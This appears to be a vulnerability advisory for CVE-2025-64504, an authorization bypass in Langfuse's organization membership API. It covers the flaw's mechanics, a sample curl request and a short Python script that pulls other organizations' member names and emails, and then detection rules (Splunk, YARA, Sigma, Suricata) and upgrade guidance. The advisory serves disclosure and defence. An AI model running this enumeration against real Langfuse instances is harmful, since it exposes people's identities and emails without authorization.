CVE-2025-64504
Executive Summary
CVE-2025-64504 is an authorization bypass vulnerability in the Langfuse open-source LLM engineering platform. The flaw resides in project membership APIs where the server trusts a user-controlled orgId parameter for authorization checks. An authenticated attacker with knowledge of a target organization's ID can enumerate the names and email addresses of that organization's members and invitees. The disclosure is limited to identity information; no traces, prompts, evaluations, or other customer data is exposed. The vulnerability affects Langfuse versions 2.70.0 through 2.95.10 and 3.0.0 through 3.124.0. Langfuse Cloud was patched on November 1, 2025, and maintainers found no evidence of exploitation in access logs. Self-hosted instances must upgrade to v2.95.11 or v3.124.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Langfuse is distributed as a Python package (langfuse) and a Node.js package (langfuse). The vulnerability exists in the server-side API code, not in the client libraries. However, any organization using the affected server versions is at risk. The attack requires an authenticated user account on the same Langfuse instance, meaning the supply chain risk is limited to internal or federated users who already have access to the platform. Organizations using SSO with email/password sign-up disabled are still vulnerable if an attacker obtains valid credentials through other means (e.g., compromised IdP account).
CVSS Breakdown & Threat Level
CVSS Score: 5.0 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely via API calls.
- Attack Complexity (AC): Low – No special conditions or race conditions required.
- Privileges Required (PR): Low – Attacker needs a valid authenticated user account on the same Langfuse instance.
- User Interaction (UI): None – No victim interaction required.
- Scope (S): Unchanged – The vulnerable component and the affected resource are in the same security authority.
- Confidentiality (C): Low – Only names and email addresses are disclosed.
- Integrity (I): None – No data modification possible.
- Availability (A): None – No denial of service.
Threat Level: Medium. The attack is easy to execute but requires prior knowledge of the target orgId and an authenticated session. The impact is limited to information disclosure of non-sensitive identity data.
Deep Dive & Mechanics
The vulnerability is a classic Insecure Direct Object Reference (IDOR) / Authorization Bypass Through User-Controlled Key (CWE-639). The Langfuse API endpoints responsible for listing project members accept an orgId parameter directly from the user request. The server fails to verify that the authenticated user belongs to the specified organization before returning member data.
Attack Flow:
- Attacker authenticates to the Langfuse instance (e.g., via SSO or local credentials).
- Attacker obtains or guesses a target organization's ID (
orgId). These IDs are often UUIDs but may be enumerable or leaked through other means (e.g., error messages, logs, or shared links). - Attacker sends a crafted API request to the membership endpoint (e.g.,
GET /api/organizations/{orgId}/members) with their own authentication token but the targetorgId. - The server processes the request without cross-checking the user's membership in the target org, returning the list of members (names and email addresses).
Affected Endpoints: The specific endpoints are those that power the frontend membership tables. These are likely under /api/organizations/{orgId}/members or similar paths.
Why it works: The server uses the orgId from the request to query the database for members, but the authorization middleware only checks that the user is authenticated, not that they are authorized for that specific org.
Vulnerable vs. Patched Code
The patch adds an authorization check to verify that the requesting user is a member of the target organization before returning member data.
Vulnerable Code (Conceptual):
# Vulnerable: No authorization check on orgId
@app.route('/api/organizations/<orgId>/members')
def get_org_members(orgId):
user = get_current_user() # Authenticated user
members = db.query("SELECT name, email FROM members WHERE org_id = :orgId", {"orgId": orgId})
return jsonify(members)
Patched Code (Conceptual):
# Patched: Authorization check added
@app.route('/api/organizations/<orgId>/members')
def get_org_members(orgId):
user = get_current_user()
# Verify user is a member of the target organization
if not db.query("SELECT 1 FROM org_members WHERE user_id = :userId AND org_id = :orgId",
{"userId": user.id, "orgId": orgId}):
abort(403, "Not authorized to view members of this organization")
members = db.query("SELECT name, email FROM members WHERE org_id = :orgId", {"orgId": orgId})
return jsonify(members)
The patch ensures that the user's membership in the target org is validated before any data is returned.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid user account on the target Langfuse instance.
- Knowledge of the target organization's ID (
orgId). This can be obtained through:- Observing network traffic (e.g., if the user is already a member of another org).
- Guessing UUIDs (though unlikely to succeed).
- Social engineering or OSINT to find leaked IDs.
Exploitation Steps:
- Authenticate to the Langfuse instance and obtain a session token or API key.
- Send a GET request to the membership endpoint with the target
orgId:
curl -X GET "https://langfuse.example.com/api/organizations/target-org-id/members" \
-H "Authorization: Bearer <your_token>" \
-H "Content-Type: application/json"
- The response will contain a JSON array of member objects with
nameandemailfields.
Example Response:
[
{"name": "John Doe", "email": "john.doe@example.com"},
{"name": "Jane Smith", "email": "jane.smith@example.com"}
]
Automation Script (Python):
import requests
target_url = "https://langfuse.example.com"
org_id = "target-org-id"
token = "your_auth_token"
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
response = requests.get(f"{target_url}/api/organizations/{org_id}/members", headers=headers)
if response.status_code == 200:
members = response.json()
for member in members:
print(f"Name: {member['name']}, Email: {member['email']}")
else:
print(f"Failed: {response.status_code}")
Blue Team
Detection:
- Monitor API logs for requests to
/api/organizations/{orgId}/memberswhere theorgIddoes not match the authenticated user's organization. - Alert on multiple rapid requests to different
orgIdvalues from the same user (enumeration attempt). - Look for 403 errors followed by successful 200 responses to the same endpoint (indicates potential bypass testing).
Hunting Query (Splunk):
index=langfuse_api sourcetype=access_log
| rex field=uri "/api/organizations/(?<orgId>[^/]+)/members"
| where orgId != "user_org_id" // Replace with actual user org mapping
| stats count by user, orgId, src_ip
| where count > 5
Lab Setup:
- Deploy a vulnerable Langfuse instance (v2.70.0 to v2.95.10 or v3.0.0 to v3.124.0) using Docker:
docker run -d -p 3000:3000 --name langfuse-vuln langfuse/langfuse:2.70.0
- Create two organizations (OrgA and OrgB) with different users.
- Authenticate as a user from OrgA and attempt to access OrgB's member list using the API.
Indicators of Compromise (IOCs)
Network IOCs:
- API requests to
/api/organizations/{orgId}/memberswith anorgIdnot associated with the authenticated user. - Repeated requests to the same endpoint with varying
orgIdvalues (enumeration). - Unusual 403 errors followed by 200 responses on the same endpoint.
- API requests to
Log IOCs:
- Access logs showing
GET /api/organizations/*/memberswithorgIdvalues that do not match the user's organization. - Authentication logs showing the same user accessing multiple organizations' member lists.
- Access logs showing
File IOCs:
- No file-based IOCs as this is a server-side API vulnerability.
Detection Engineering
YARA Rule
rule CVE_2025_64504_Langfuse_Member_Enumeration {
meta:
description = "Detects exploitation attempts of CVE-2025-64504 in Langfuse API logs"
author = "Valters IT"
date = "2025-11-02"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-64504"
severity = "medium"
strings:
$api_path = "/api/organizations/"
$members_suffix = "/members"
$http_get = "GET"
$http_200 = "200"
$http_403 = "403"
condition:
$http_get and $api_path and $members_suffix and (#http_200 > 0 or #http_403 > 0)
}
Sigma Rule
title: Langfuse CVE-2025-64504 Member Enumeration Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to enumerate organization members via CVE-2025-64504
author: Valters IT
date: 2025-11-02
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-64504
logsource:
category: webserver
product: langfuse
detection:
selection:
cs-method: 'GET'
cs-uri-stem|startswith: '/api/organizations/'
cs-uri-stem|endswith: '/members'
condition: selection
falsepositives:
- Legitimate admin users accessing multiple organizations
level: medium
Suricata Rule
alert http any any -> any any (
msg:"CVE-2025-64504 Langfuse Organization Member Enumeration Attempt";
flow:to_server,established;
content:"GET";
http_method;
content:"/api/organizations/";
http_uri;
content:"/members";
http_uri;
classtype:attempted-recon;
sid:10000001;
rev:1;
reference:cve,2025-64504;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Langfuse to version 2.95.11 (major version 2) or 3.124.1 (major version 3). This is the only complete fix.
- If immediate upgrade is not possible, restrict access to the API endpoints using a Web Application Firewall (WAF) or reverse proxy to block requests to
/api/organizations/*/membersfrom non-admin users.
Long-term Mitigations:
- Implement strict authorization checks on all API endpoints that accept user-controlled IDs.
- Use server-side session data to determine the user's organization rather than trusting client-supplied parameters.
- Enable audit logging for all API access to sensitive endpoints.
- Regularly review access logs for anomalous patterns.
Workarounds: None. The vendor states that upgrading is required to fully mitigate the issue.
Valters IT